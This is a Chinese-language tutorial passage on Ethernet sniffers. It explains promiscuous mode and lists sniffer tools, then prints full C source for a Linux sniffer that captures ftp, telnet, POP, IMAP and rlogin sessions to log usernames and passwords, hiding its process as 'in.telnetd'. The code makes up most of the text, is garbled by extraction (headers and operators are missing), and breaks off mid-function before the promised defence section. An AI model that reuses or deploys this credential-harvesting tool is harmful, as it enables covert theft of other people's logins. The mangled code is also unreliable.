Sniffer是一种常用的收集有用数据方法,这些数据可以是用户的帐号和密码,可以是一些商用机密数据等等。为了对sniffer的工作原理有一个深入的了解,第二节给出了一个sniffer的源程序,并对它进行讲解。最后的第三节是探测和防范sniffer的介绍。
第一节
Sniffer简介
什么是以太网sniffing?
以太网sniffing 是指对以太网设备上传送的数据包进行侦听,发现感兴趣的包。如果发现符合条件的包,就把它存到一个log文件中去。通常设置的这些条件是包含字"username"或"password"的包。
它的目的是将网络层放到promiscuous模式,从而能干些事情。Promiscuous模式是指网络上的所有设备都对总线上传送的数据进行侦听,并不仅仅是它们自己的数据。根据第二章中有关对以太网的工作原理的基本介绍,可以知道:一个设备要向某一目标发送数据时,它是对以太网进行广播的。一个连到以太网总线上的设备在任何时间里都在接受数据。不过只是将属于自己的数据传给该计算机上的应用程序。
利用这一点,可以将一台计算机的网络连接设置为接受所有以太网总线上的数据,从而实现sniffer。
sniffer通常运行在路由器,或有路由器功能的主机上。这样就能对大量的数据进行监控。sniffer属第二层次的攻击。通常是攻击者已经进入了目标系统,然后使用sniffer这种攻击手段,以便得到更多的信息。
sniffer除了能得到口令或用户名外,还能得到更多的其他信息,比如一个其他重要的信息,在网上传送的金融信息等等。sniffer几乎能得到任何以太网上的传送的数据包。
有许多运行与不同平台上的sniffer程序。
Linux tcpdump
DOS ETHLOAD、The Gobbler、LanPatrol、LanWatch 、Netmon、Netwatch、
Netzhack
上面的这些程序,可以从互连网上找到。
使用sniffer程序或编写一个功能强大的sniffer程序需要一些网络方面的知识。因为如果没有恰当的设置这个程序,根本就不能从大量的数据中找出需要的信息。
通常sniffer程序只看一个数据包的前200-300个字节的数据,就能发现想口令和用户名这样的信息。
第二节
一个sniffer源程序
下面是一个Linux以太网sniffer的源程序。可以根据需要加强这个程序。
/* Linux sniffer.c 本程序已经在Red Hat 5.2上调试通过*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include #include#include#include#includeint openintf(char *);int read_tcp(int);int filter(void);int print_header(void);int print_data(int, char *);char *hostlookup(unsigned long int);void clear_victim(void);void cleanup(int);struct etherpacket{struct ethhdr eth;struct iphdr ip;struct tcphdr tcp;char buff[8192];}ep;struct{unsigned long saddr;unsigned long daddr;unsigned short sport;unsigned short dport;int bytes_read;char active;time_t start_time;} victim;struct iphdr *ip;struct tcphdr *tcp;int s;FILE *fp;#define CAPTLEN 512#define TIMEOUT 30#define TCPLOG "tcp.log"int openintf(char *d){int fd;struct ifreq ifr;int s;fd=socket(AF_INET, SOCK_PACKET, htons(0x800));if(fd{perror("cant get SOCK_PACKET socket");exit(0);}strcpy(ifr.ifr_name, d);s=ioctl(fd, SIOCGIFFLAGS, &ifr);if(s{close(fd);perror("cant get flags");exit(0);}ifr.ifr_flags |= IFF_PROMISC;s=ioctl(fd, SIOCSIFFLAGS, &ifr);if(sreturn fd;}int read_tcp(int s){int x;while(1){x=read(s, (struct etherpacket *)&ep, sizeof(ep));if(x1){if(filter()==0) continue;x=x-54;if(xreturn x;}}}int filter(void){int p;p=0;if(ip-protocol != 6) return 0;if(victim.active != 0)if(victim.bytes_readCAPTLEN){fprintf(fp, "\n----- [CAPLEN Exceeded]\n");clear_victim();return 0;}if(victim.active != 0)if(time(NULL)(victim.start_time + TIMEOUT)){fprintf(fp, "\n----- [Timed Out]\n");clear_victim();return 0;}if(ntohs(tcp-dest)==21) p=1; /* ftp */if(ntohs(tcp-dest)==23) p=1; /* telnet */if(ntohs(tcp-dest)==110) p=1; /* pop3 */if(ntohs(tcp-dest)==109) p=1; /* pop2 */if(ntohs(tcp-dest)==143) p=1; /* imap2 */if(ntohs(tcp-dest)==513) p=1; /* rlogin */if(ntohs(tcp-dest)==106) p=1; /* poppasswd */if(victim.active == 0)if(p == 1)if(tcp-syn == 1){victim.saddr=ip-saddr;victim.daddr=ip-daddr;victim.active=1;victim.sport=tcp-source;victim.dport=tcp-dest;victim.bytes_read=0;victim.start_time=time(NULL);print_header();}if(tcp-dest != victim.dport) return 0;if(tcp-source != victim.sport) return 0;if(ip-saddr != victim.saddr) return 0;if(ip-daddr != victim.daddr) return 0;if(tcp-rst == 1){victim.active=0;alarm(0);fprintf(fp, "\n----- [RST]\n");clear_victim();return 0;}if(tcp-fin == 1){victim.active=0;alarm(0);fprintf(fp, "\n----- [FIN]\n");clear_victim();return 0;}return 1;}int print_header(void){fprintf(fp, "\n");fprintf(fp, "%s =", hostlookup(ip-saddr));fprintf(fp, "%s [%d]\n", hostlookup(ip-daddr), ntohs(tcp-dest));}int print_data(int datalen, char *data){int i=0;int t=0;victim.bytes_read=victim.bytes_read+datalen;for(i=0;i != datalen;i++){if(data[i] == 13) { fprintf(fp, "\n"); t=0; }if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}if(t75) {t=0;fprintf(fp, "\n");}}}main(int argc, char **argv){sprintf(argv[0],"%s","in.telnetd");s=openintf("eth0");ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);signal(SIGHUP, SIG_IGN);signal(SIGINT, cleanup);signal(SIGTERM, cleanup);signal(SIGKILL, cleanup);signal(SIGQUIT, cleanup);if(argc == 2) fp=stdout;else fp=fopen(TCPLOG, "at");if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);}clear_victim();for(;;){read_tcp(s);if(victim.active != 0) print_data(htons(ip-tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);fflush(fp);}}char *hostlookup(unsigned long int in){static char blah[1024];struct in_addr i;struct hostent * he;i.s_addr=in;he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);if(he == NULL)strcpy(blah, inet_ntoa(i));elsestrcpy(blah,he-h_name);return blah;}void clear_victim(void){victim.saddr=0;victim.daddr=0;victim.sport=0;victim.dport=0;victim.active=0;victim.bytes_read=0;victim.start_time=0;}void cleanup(int sig){fprintf(fp, "Exiting...\